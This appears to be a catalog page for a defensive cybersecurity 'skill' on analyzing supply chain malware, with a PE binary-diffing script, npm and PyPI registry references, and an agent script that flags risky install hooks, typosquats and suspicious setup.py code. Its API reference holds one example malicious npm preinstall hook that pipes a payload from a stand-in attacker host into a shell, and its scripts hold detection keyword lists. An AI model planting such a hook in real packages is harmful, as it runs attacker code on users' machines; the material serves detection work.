malware analysis

Analyzing Supply Chain Malware Artifacts

Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise.

3cxdependency-confusionmalware-analysissoftware-integritysolarwindssupply-chaintrojanized-software
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years.

When to Use

  • When investigating security incidents that require analyzing supply chain malware artifacts
  • When building detection rules or threat hunting queries for this domain
  • When SOC analysts need structured procedures for this analysis type
  • When validating security monitoring coverage for related attack techniques

Prerequisites

  • Python 3.9+ with pefile, ssdeep, hashlib
  • Binary diff tools (BinDiff, Diaphora)
  • Code signing verification tools (sigcheck, codesign)
  • Software composition analysis (SCA) tools
  • Access to legitimate software versions for comparison
  • Package repository monitoring (npm, PyPI, NuGet)

Workflow

Step 1: Binary Comparison Analysis

#!/usr/bin/env python3
"""Compare trojanized binary against legitimate version."""
import hashlib
import pefile
import sys
import json
 
 
def compare_pe_files(legitimate_path, suspect_path):
    """Compare PE file structures between legitimate and suspect versions."""
    legit_pe = pefile.PE(legitimate_path)
    suspect_pe = pefile.PE(suspect_path)
 
    report = {"differences": [], "suspicious_sections": [], "import_changes": []}
 
    # Compare sections
    legit_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in legit_pe.sections}
 
    suspect_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in suspect_pe.sections}
 
    # Find new or modified sections
    for name, props in suspect_sections.items():
        if name not in legit_sections:
            report["suspicious_sections"].append({
                "name": name, "reason": "New section not in legitimate version",
                "size": props["size"], "entropy": round(props["entropy"], 2),
            })
        elif abs(props["size"] - legit_sections[name]["size"]) > 1024:
            report["suspicious_sections"].append({
                "name": name, "reason": "Section size significantly changed",
                "legit_size": legit_sections[name]["size"],
                "suspect_size": props["size"],
            })
 
    # Compare imports
    legit_imports = set()
    if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in legit_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")
 
    suspect_imports = set()
    if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")
 
    new_imports = suspect_imports - legit_imports
    if new_imports:
        report["import_changes"] = list(new_imports)
 
    # Check code signing
    report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
    report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
 
    return report
 
 
def hash_file(filepath):
    """Calculate multiple hashes for a file."""
    hashes = {}
    with open(filepath, 'rb') as f:
        data = f.read()
    for algo in ['md5', 'sha1', 'sha256']:
        h = hashlib.new(algo)
        h.update(data)
        hashes[algo] = h.hexdigest()
    return hashes
 
 
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <legitimate_binary> <suspect_binary>")
        sys.exit(1)
    report = compare_pe_files(sys.argv[1], sys.argv[2])
    print(json.dumps(report, indent=2))

Validation Criteria

  • Trojanized components identified through binary diffing
  • Injected code isolated and analyzed separately
  • Code signing anomalies documented
  • Infection timeline reconstructed from build artifacts
  • Downstream impact scope assessed across affected systems
  • IOCs extracted for detection and blocking

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.1 KB

API Reference: Supply Chain Malware Analysis

npm Registry API

Package Metadata

curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>

Response Fields

Field Description
dist-tags.latest Latest version
versions All published versions
maintainers Package maintainers
time.created First publish date
time.modified Last modification

PyPI JSON API

Package Info

curl https://pypi.org/pypi/<package-name>/json

Key Fields

Field Description
info.author Package author
info.version Current version
releases All versions with artifacts
info.project_urls Source code links

Socket.dev - Supply Chain Analysis

npm Audit

socket npm audit
socket npm info <package>

Suspicious Package Indicators

Indicator Severity Description
preinstall/postinstall hooks HIGH Code runs during npm install
URL/git dependencies HIGH Dependencies from non-registry source
eval/exec in setup.py HIGH Dynamic code execution during pip install
Base64 in install scripts HIGH Obfuscated payload
Recently created package MEDIUM New package mimicking popular name
Single maintainer LOW Bus factor risk

Sigstore/cosign Verification

Verify Container Image

cosign verify --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer-regexp=".*" image:tag

Verify Artifact

cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz

SLSA Framework Levels

Level Requirement
SLSA 1 Build provenance exists
SLSA 2 Hosted build platform, authenticated provenance
SLSA 3 Hardened build platform, non-falsifiable provenance
SLSA 4 Two-party review, hermetic builds

npm install Hook Risks

{
  "scripts": {
    "preinstall": "curl evil[.]example/payload | sh",
    "postinstall": "node ./install.js",
    "preuninstall": "node cleanup.js"
  }
}
standards.md0.3 KB

Standards Reference - analyzing-supply-chain-malware-artifacts

Applicable Standards

  • MITRE ATT&CK Framework
  • NIST SP 800-83 Guide to Malware Incident Prevention
  • NIST SP 800-86 Guide to Integrating Forensic Techniques

Related MITRE ATT&CK Techniques

See SKILL.md for specific technique mappings.

workflows.md0.5 KB

Analysis Workflows - analyzing-supply-chain-malware-artifacts

Primary Workflow

[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction]
                                                                          |
                                                                          v
                                                                 [Report Generation]

See SKILL.md for detailed step-by-step procedures.

Scripts 1

agent.py5.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Supply chain malware artifact analysis agent.

Analyzes software supply chain compromise indicators including package
integrity, build pipeline artifacts, dependency confusion, and trojanized updates.
"""

import os
import sys
import json
import hashlib
import re
import subprocess
from datetime import datetime

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False


def compute_hash(filepath):
    hashes = {}
    for algo in ("md5", "sha1", "sha256"):
        h = hashlib.new(algo)
        with open(filepath, "rb") as f:
            for chunk in iter(lambda: f.read(65536), b""):
                h.update(chunk)
        hashes[algo] = h.hexdigest()
    return hashes


def check_npm_package(package_name):
    if not HAS_REQUESTS:
        return {"error": "requests not installed"}
    url = f"https://registry.npmjs.org/{package_name}"
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        data = resp.json()
        latest = data.get("dist-tags", {}).get("latest", "")
        versions = list(data.get("versions", {}).keys())
        maintainers = data.get("maintainers", [])
        return {
            "name": package_name, "latest": latest,
            "version_count": len(versions),
            "maintainers": [m.get("name") for m in maintainers],
        }
    except requests.RequestException as e:
        return {"error": str(e)}


def check_pypi_package(package_name):
    if not HAS_REQUESTS:
        return {"error": "requests not installed"}
    url = f"https://pypi.org/pypi/{package_name}/json"
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        data = resp.json()
        info = data.get("info", {})
        return {
            "name": info.get("name"), "version": info.get("version"),
            "author": info.get("author"),
            "release_count": len(data.get("releases", {})),
        }
    except requests.RequestException as e:
        return {"error": str(e)}


def detect_typosquat_packages(target_name):
    permutations = set()
    for i in range(len(target_name)):
        permutations.add(target_name[:i] + target_name[i+1:])
    for i in range(len(target_name) - 1):
        swapped = list(target_name)
        swapped[i], swapped[i+1] = swapped[i+1], swapped[i]
        permutations.add("".join(swapped))
    permutations.add(target_name.replace("-", "_"))
    permutations.add(target_name.replace("_", "-"))
    permutations.discard(target_name)
    return sorted(permutations)


def analyze_package_scripts(package_json_path):
    with open(package_json_path, "r") as f:
        pkg = json.load(f)
    findings = []
    scripts = pkg.get("scripts", {})
    for hook in ["preinstall", "postinstall", "preuninstall"]:
        if hook in scripts:
            cmd = scripts[hook]
            findings.append({
                "type": "install_hook", "hook": hook, "command": cmd[:200],
                "severity": "HIGH" if any(s in cmd.lower() for s in
                    ["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM",
            })
    deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})}
    for dep, ver in deps.items():
        if ver.startswith("http") or ver.startswith("git"):
            findings.append({
                "type": "url_dependency", "package": dep,
                "source": ver[:200], "severity": "HIGH",
            })
    return {"name": pkg.get("name"), "findings": findings}


def analyze_python_setup(setup_py_path):
    with open(setup_py_path, "r") as f:
        content = f.read()
    findings = []
    patterns = [
        (r"os\.system\(", "os.system() execution"),
        (r"subprocess\.", "subprocess execution"),
        (r"exec\(", "exec() code execution"),
        (r"eval\(", "eval() code execution"),
        (r"base64\.b64decode", "Base64 decoding"),
        (r"socket\.", "Network socket usage"),
    ]
    for pattern, description in patterns:
        if re.search(pattern, content):
            findings.append({
                "type": "suspicious_setup_code",
                "pattern": description, "severity": "HIGH",
            })
    return {"file": setup_py_path, "findings": findings}


if __name__ == "__main__":
    print("=" * 60)
    print("Supply Chain Malware Artifact Analysis Agent")
    print("Package integrity, typosquat detection, install hook analysis")
    print("=" * 60)

    target = sys.argv[1] if len(sys.argv) > 1 else None
    if not target:
        print("\n[DEMO] Usage:")
        print("  python agent.py <package.json>         # Analyze npm package")
        print("  python agent.py npm:<package_name>     # Check npm registry")
        print("  python agent.py pypi:<package_name>    # Check PyPI registry")
        sys.exit(0)

    if target.startswith("npm:"):
        pkg_name = target[4:]
        print(f"\n[*] Checking npm: {pkg_name}")
        info = check_npm_package(pkg_name)
        typos = detect_typosquat_packages(pkg_name)
        print(json.dumps(info, indent=2))
        print(f"\n  Potential typosquats: {typos[:10]}")
    elif target.startswith("pypi:"):
        pkg_name = target[5:]
        print(f"\n[*] Checking PyPI: {pkg_name}")
        info = check_pypi_package(pkg_name)
        print(json.dumps(info, indent=2))
    elif os.path.exists(target):
        basename = os.path.basename(target)
        if basename == "package.json":
            result = analyze_package_scripts(target)
        elif basename == "setup.py":
            result = analyze_python_setup(target)
        else:
            result = {"file": target, "hashes": compute_hash(target)}
        print(json.dumps(result, indent=2))

Assets 1

template.mdtext/markdown · 0.4 KB
Keep exploring